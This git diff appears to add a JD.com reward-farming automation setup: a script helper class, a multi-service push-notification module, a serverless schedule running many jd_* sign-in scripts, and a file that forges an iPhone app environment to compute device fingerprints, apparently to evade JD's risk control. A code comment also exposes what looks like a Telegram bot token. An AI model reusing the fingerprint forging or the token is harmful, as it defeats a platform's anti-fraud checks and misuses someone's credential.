Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/sendNotify.py b/sendNotify.py new file mode 100644 index 0000000..56d6aa5 --- /dev/null +++ b/sendNotify.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ + +#Modify: Kirin + +import sys +import os, re +import requests +import json +import time +import hmac +import hashlib +import base64 +import urllib.parse +from requests.adapters import HTTPAdapter +from urllib3.util import Retry + +cur_path = os.path.abspath(os.path.dirname(__file__)) +root_path = os.path.split(cur_path)[0] +sys.path.append(root_path) + +# 通知服务 +BARK = '' # bark服务,自行搜索; secrets可填; +BARK_PUSH='' # bark自建服务器,要填完整链接,结尾的/不要 +SCKEY = '' # Server酱的SCKEY; secrets可填 +TG_BOT_TOKEN = '' # tg机器人的TG_BOT_TOKEN; secrets可填1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ +TG_USER_ID = '' # tg机器人的TG_USER_ID; secrets可填 1434078534 +TG_API_HOST='' # tg 代理api +TG_PROXY_IP = '' # tg机器人的TG_PROXY_IP; secrets可填 +TG_PROXY_PORT = '' # tg机器人的TG_PROXY_PORT; secrets可填 +DD_BOT_ACCESS_TOKEN = '' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; secrets可填 +DD_BOT_SECRET = '' # 钉钉机器人的DD_BOT_SECRET; secrets可填 +QQ_SKEY = '' # qq机器人的QQ_SKEY; secrets可填 +QQ_MODE = '' # qq机器人的QQ_MODE; secrets可填 +QYWX_AM = '' # 企业微信 +QYWX_KEY = '' # 企业微信BOT +PUSH_PLUS_TOKEN = '' # 微信推送Plus+ + +notify_mode = [] + +message_info = '''''' + +# GitHub action运行需要填写对应的secrets +if "BARK" in os.environ and os.environ["BARK"]: + BARK = os.environ["BARK"] +if "BARK_PUSH" in os.environ and os.environ["BARK_PUSH"]: + BARK_PUSH = os.environ["BARK_PUSH"] +if "SCKEY" in os.environ and os.environ["SCKEY"]: + SCKEY = os.environ["SCKEY"] +if "TG_BOT_TOKEN" in os.environ and os.environ["TG_BOT_TOKEN"] and "TG_USER_ID" in os.environ and os.environ["TG_USER_ID"]: + TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] + TG_USER_ID = os.environ["TG_USER_ID"] +if "TG_API_HOST" in os.environ and os.environ["TG_API_HOST"]: + TG_API_HOST = os.environ["TG_API_HOST"] +if "DD_BOT_ACCESS_TOKEN" in os.environ and os.environ["DD_BOT_ACCESS_TOKEN"] and "DD_BOT_SECRET" in os.environ and os.environ["DD_BOT_SECRET"]: + DD_BOT_ACCESS_TOKEN = os.environ["DD_BOT_ACCESS_TOKEN"] + DD_BOT_SECRET = os.environ["DD_BOT_SECRET"] +if "QQ_SKEY" in os.environ and os.environ["QQ_SKEY"] and "QQ_MODE" in os.environ and os.environ["QQ_MODE"]: + QQ_SKEY = os.environ["QQ_SKEY"] + QQ_MODE = os.environ["QQ_MODE"] +# 获取pushplus+ PUSH_PLUS_TOKEN +if "PUSH_PLUS_TOKEN" in os.environ: + if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: + PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] + # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") +# 获取企业微信应用推送 QYWX_AM +if "QYWX_AM" in os.environ: + if len(os.environ["QYWX_AM"]) > 1: + QYWX_AM = os.environ["QYWX_AM"] + + +if "QYWX_KEY" in os.environ: + if len(os.environ["QYWX_KEY"]) > 1: + QYWX_KEY = os.environ["QYWX_KEY"] + # print("已获取并使用Env环境 QYWX_AM") + +if BARK: + notify_mode.append('bark') + # print("BARK 推送打开") +if BARK_PUSH: + notify_mode.append('bark') + # print("BARK 推送打开") +if SCKEY: + notify_mode.append('sc_key') + # print("Server酱 推送打开") +if TG_BOT_TOKEN and TG_USER_ID: + notify_mode.append('telegram_bot') + # print("Telegram 推送打开") +if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + notify_mode.append('dingding_bot') + # print("钉钉机器人 推送打开") +if QQ_SKEY and QQ_MODE: + notify_mode.append('coolpush_bot') + # print("QQ机器人 推送打开") + +if PUSH_PLUS_TOKEN: + notify_mode.append('pushplus_bot') + # print("微信推送Plus机器人 推送打开") +if QYWX_AM: + notify_mode.append('wecom_app') + # print("企业微信机器人 推送打开") + +if QYWX_KEY: + notify_mode.append('wecom_key') + # print("企业微信机器人 推送打开") + + +def message(str_msg): + global message_info + print(str_msg) + message_info = "{}\n{}".format(message_info, str_msg) + sys.stdout.flush() + +def bark(title, content): + print("\n") + if BARK: + try: + response = requests.get( + f"""https://api.day.app/{BARK}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + if BARK_PUSH: + try: + response = requests.get( + f"""{BARK_PUSH}/{title}/{urllib.parse.quote_plus(content)}""").json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except: + print('推送失败!') + print("bark服务启动") + if BARK=='' and BARK_PUSH=='': + print("bark服务的bark_token未设置!!\n取消推送") + return + +def serverJ(title, content): + print("\n") + if not SCKEY: + print("server酱服务的SCKEY未设置!!\n取消推送") + return + print("serverJ服务启动") + data = { + "text": title, + "desp": content.replace("\n", "\n\n") + } + response = requests.post(f"https://sc.ftqq.com/{SCKEY}.send", data=data).json() + if response['errno'] == 0: + print('推送成功!') + else: + print('推送失败!') + +# tg通知 +def telegram_bot(title, content): + try: + print("\n") + bot_token = TG_BOT_TOKEN + user_id = TG_USER_ID + if not bot_token or not user_id: + print("tg服务的bot_token或者user_id未设置!!\n取消推送") + return + print("tg服务启动") + if TG_API_HOST: + if 'http' in TG_API_HOST: + url = f"{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://{TG_API_HOST}/bot{TG_BOT_TOKEN}/sendMessage" + else: + url = f"https://api.telegram.org/bot{TG_BOT_TOKEN}/sendMessage" + + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'chat_id': str(TG_USER_ID), 'text': f'{title}\n\n{content}', 'disable_web_page_preview': 'true'} + proxies = None + if TG_PROXY_IP and TG_PROXY_PORT: + proxyStr = "http://{}:{}".format(TG_PROXY_IP, TG_PROXY_PORT) + proxies = {"http": proxyStr, "https": proxyStr} + try: + response = requests.post(url=url, headers=headers, params=payload, proxies=proxies).json() + except: + print('推送失败!') + if response['ok']: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + +def dingding_bot(title, content): + timestamp = str(round(time.time() * 1000)) # 时间戳 + secret_enc = DD_BOT_SECRET.encode('utf-8') + string_to_sign = '{}\n{}'.format(timestamp, DD_BOT_SECRET) + string_to_sign_enc = string_to_sign.encode('utf-8') + hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest() + sign = urllib.parse.quote_plus(base64.b64encode(hmac_code)) # 签名 + print('开始使用 钉钉机器人 推送消息...', end='') + url = f'https://oapi.dingtalk.com/robot/send?access_token={DD_BOT_ACCESS_TOKEN}×tamp={timestamp}&sign={sign}' + headers = {'Content-Type': 'application/json;charset=utf-8'} + data = { + 'msgtype': 'text', + 'text': {'content': f'{title}\n\n{content}'} + } + response = requests.post(url=url, data=json.dumps(data), headers=headers, timeout=15).json() + if not response['errcode']: + print('推送成功!') + else: + print('推送失败!') + +def coolpush_bot(title, content): + print("\n") + if not QQ_SKEY or not QQ_MODE: + print("qq服务的QQ_SKEY或者QQ_MODE未设置!!\n取消推送") + return + print("qq服务启动") + url=f"https://qmsg.zendee.cn/{QQ_MODE}/{QQ_SKEY}" + payload = {'msg': f"{title}\n\n{content}".encode('utf-8')} + response = requests.post(url=url, params=payload).json() + if response['code'] == 0: + print('推送成功!') + else: + print('推送失败!') +# push推送 +def pushplus_bot(title, content): + try: + print("\n") + if not PUSH_PLUS_TOKEN: + print("PUSHPLUS服务的token未设置!!\n取消推送") + return + print("PUSHPLUS服务启动") + url = 'http://www.pushplus.plus/send' + data = { + "token": PUSH_PLUS_TOKEN, + "title": title, + "content": content + } + body = json.dumps(data).encode(encoding='utf-8') + headers = {'Content-Type': 'application/json'} + response = requests.post(url=url, data=body, headers=headers).json() + if response['code'] == 200: + print('推送成功!') + else: + print('推送失败!') + except Exception as e: + print(e) + + + +print("xxxxxxxxxxxx") +def wecom_key(title, content): + print("\n") + if not QYWX_KEY: + print("QYWX_KEY未设置!!\n取消推送") + return + print("QYWX_KEY服务启动") + print("content"+content) + headers = {'Content-Type': 'application/json'} + data = { + "msgtype":"text", + "text":{ + "content":title+"\n"+content.replace("\n", "\n\n") + } + } + + print(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}") + response = requests.post(f"https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key={QYWX_KEY}", json=data,headers=headers).json() + print(response) + + +# 企业微信 APP 推送 +def wecom_app(title, content): + try: + if not QYWX_AM: + print("QYWX_AM 并未设置!!\n取消推送") + return + QYWX_AM_AY = re.split(',', QYWX_AM) + if 4 < len(QYWX_AM_AY) > 5: + print("QYWX_AM 设置错误!!\n取消推送") + return + corpid = QYWX_AM_AY[0] + corpsecret = QYWX_AM_AY[1] + touser = QYWX_AM_AY[2] + agentid = QYWX_AM_AY[3] + try: + media_id = QYWX_AM_AY[4] + except: + media_id = '' + wx = WeCom(corpid, corpsecret, agentid) + # 如果没有配置 media_id 默认就以 text 方式发送 + if not media_id: + message = title + '\n\n' + content + response = wx.send_text(message, touser) + else: + response = wx.send_mpnews(title, content, media_id, touser) + if response == 'ok': + print('推送成功!') + else: + print('推送失败!错误信息如下:\n', response) + except Exception as e: + print(e) + +class WeCom: + def __init__(self, corpid, corpsecret, agentid): + self.CORPID = corpid + self.CORPSECRET = corpsecret + self.AGENTID = agentid + + def get_access_token(self): + url = 'https://qyapi.weixin.qq.com/cgi-bin/gettoken' + values = {'corpid': self.CORPID, + 'corpsecret': self.CORPSECRET, + } + req = requests.post(url, params=values) + data = json.loads(req.text) + return data["access_token"] + + def send_text(self, message, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "text", + "agentid": self.AGENTID, + "text": { + "content": message + }, + "safe": "0" + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + + def send_mpnews(self, title, message, media_id, touser="@all"): + send_url = 'https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=' + self.get_access_token() + send_values = { + "touser": touser, + "msgtype": "mpnews", + "agentid": self.AGENTID, + "mpnews": { + "articles": [ + { + "title": title, + "thumb_media_id": media_id, + "author": "Author", + "content_source_url": "", + "content": message.replace('\n', '
'), + "digest": message + } + ] + } + } + send_msges = (bytes(json.dumps(send_values), 'utf-8')) + respone = requests.post(send_url, send_msges) + respone = respone.json() + return respone["errmsg"] + +def send(title, content): + """ + 使用 bark, telegram bot, dingding bot, serverJ 发送手机推送 + :param title: + :param content: + :return: + """ + + for i in notify_mode: + if i == 'bark': + if BARK or BARK_PUSH: + bark(title=title, content=content) + else: + print('未启用 bark') + continue + if i == 'sc_key': + if SCKEY: + serverJ(title=title, content=content) + else: + print('未启用 Server酱') + continue + elif i == 'dingding_bot': + if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + dingding_bot(title=title, content=content) + else: + print('未启用 钉钉机器人') + continue + elif i == 'telegram_bot': + if TG_BOT_TOKEN and TG_USER_ID: + telegram_bot(title=title, content=content) + else: + print('未启用 telegram机器人') + continue + elif i == 'coolpush_bot': + if QQ_SKEY and QQ_MODE: + coolpush_bot(title=title, content=content) + else: + print('未启用 QQ机器人') + continue + elif i == 'pushplus_bot': + if PUSH_PLUS_TOKEN: + pushplus_bot(title=title, content=content) + else: + print('未启用 PUSHPLUS机器人') + continue + elif i == 'wecom_app': + if QYWX_AM: + wecom_app(title=title, content=content) + else: + print('未启用企业微信应用消息推送') + continue + elif i == 'wecom_key': + if QYWX_KEY: + + for i in range(int(len(content)/2000)+1): + wecom_key(title=title, content=content[i*2000:(i+1)*2000]) + + + else: + print('未启用企业微信应用消息推送') + continue + else: + print('此类推送方式不存在') + + +def main(): + send('title', 'content') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/serverless.yml b/serverless.yml new file mode 100644 index 0000000..564954a --- /dev/null +++ b/serverless.yml @@ -0,0 +1,81 @@ +# serverless.yml + +#组件信息 +component: scf # (必选) 组件名称,在该实例中为scf +name: jdscript # (必选) 组件实例名称。 + +#组件参数配置 +inputs: + name: scf-${name} # 云函数名称,默认为 ${name}-${stage}-${app} + enableRoleAuth: true # 默认会尝试创建 SCF_QcsRole 角色,如果不需要配置成 false 即可 + src: ./ + handler: index.main_handler #入口 + runtime: Nodejs12.16 # 运行环境 默认 Nodejs10.15 + region: ap-hongkong # 函数所在区域 + description: This is a function in ${app} application. + memorySize: 128 # 内存大小,单位MB + timeout: 900 # 超时时间,单位秒 + events: #触发器 + - timer: #签到 + parameters: + name: beansign + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_bean_sign + - timer: #东东超市兑换奖品 #摇京豆 #京东汽车兑换 #家电星推官 #家电星推官好友互助 + parameters: + name: blueCoin_clublottery_carexchange_xtg_xtghelp + cronExpression: "0 0 0 * * * *" + enable: true + argument: jd_blueCoin&jd_club_lottery&jd_car_exchange&jd_xtg&jd_xtg_help + - timer: #东东农场 #东东萌宠 #口袋书店 #京喜农场 #京东极速版签到 #京东家庭号 #金榜创造营 #明星小店 + parameters: + name: fruit_pet_bookshop_jxnc_speedsign_family_goldcreator_starshop + cronExpression: "0 5 6-18/6,8 * * * *" + enable: true + argument: jd_fruit&jd_pet&jd_bookshop&jd_jxnc&jd_speed_sign&jd_family&jd_gold_creator&jd_star_shop + - timer: #宠汪汪喂食 #宠汪汪 #摇钱树 #京东种豆得豆 #京喜工厂 #东东工厂 #东东健康社区收集能量 + parameters: + name: feedPets_joy_moneyTree_plantBean_dreamFactory_jdfactory_healthcollect + cronExpression: "0 3 */1 * * * *" + enable: true + argument: jd_joy_feedPets&jd_joy&jd_moneyTree&jd_plantBean&jd_dreamFactory&jd_jdfactory&jd_health_collect + - timer: #宠汪汪积分兑换京豆 #签到领现金 #点点券 #东东小窝 #京喜财富岛 #京东直播 #东东健康社区 #每日抽奖 #女装魔盒 #跳跳乐 #5G超级盲盒 + parameters: + name: joyreward_cash_necklace_smallhome_cfd_live_health_dailylottery_nzmh_jump_mohe + cronExpression: "0 0 0-16/8,20 * * * *" + enable: true + argument: jd_joy_reward&jd_cash&jd_necklace&jd_small_home&jd_cfd&jd_live&jd_health&jd_daily_lottery&jd_nzmh&jd_jump&jd_mohe + - timer: #京东全民开红包 #进店领豆 #取关京东店铺商品 #京东抽奖机 #京东汽车 #京东秒秒币 + parameters: + name: redPacket_shop_unsubscribe_lotteryMachine_car_ms + cronExpression: "0 10 0 * * * *" + enable: true + argument: jd_redPacket&jd_shop&jd_unsubscribe&jd_lotteryMachine&jd_car&jd_ms + - timer: #天天提鹅 #手机狂欢城 + parameters: + name: dailyegg_carnivalcity + cronExpression: "0 8 */3 * * * *" + enable: true + argument: jd_daily_egg&jd_carnivalcity + - timer: #东东超市 #十元街 #动物联萌 #翻翻乐 + parameters: + name: superMarket_syj_zoo_bigwinner + cronExpression: "0 15 */1 * * * *" + enable: true + argument: jd_superMarket&jd_syj&jd_zoo&jd_big_winner + - timer: #京豆变动通知 #疯狂的joy #监控crazyJoy分红 #京东排行榜 #领京豆额外奖励 #京东保价 #闪购盲盒 #新潮品牌狂欢 #京喜领88元红包 + parameters: + name: beanchange_crazyjoy_crazyjoybonus_rankingList_beanhome_price_sgmh_mcxhd_jxlhb + cronExpression: "0 30 7 * * * *" + enable: true + argument: jd_bean_change&jd_crazy_joy&jd_crazy_joy_bonus&jd_rankingList&jd_bean_home&jd_price&jd_sgmh&jd_mcxhd&jd_jxlhb + - timer: #金融养猪 #京东快递 #京东赚赚 #京东极速版红包 #领金贴 + parameters: + name: pigPet_kd_jdzz_speedredpocke_jintie + cronExpression: "0 3 1 * * * *" + enable: true + argument: jd_pigPet&jd_kd&jd_jdzz&jd_speed_redpocke&jd_jin_tie + environment: # 环境变量 + variables: # 环境变量对象 + AAA: BBB # 不要删除,用来格式化对齐追加的变量的 diff --git a/sign_graphics_validate.js b/sign_graphics_validate.js new file mode 100644 index 0000000..675729f --- /dev/null +++ b/sign_graphics_validate.js @@ -0,0 +1,2085 @@ +const navigator = { + userAgent: `jdapp;iPhone;10.1.0;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + plugins: { length: 0 }, + language: "zh-CN", +}; +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 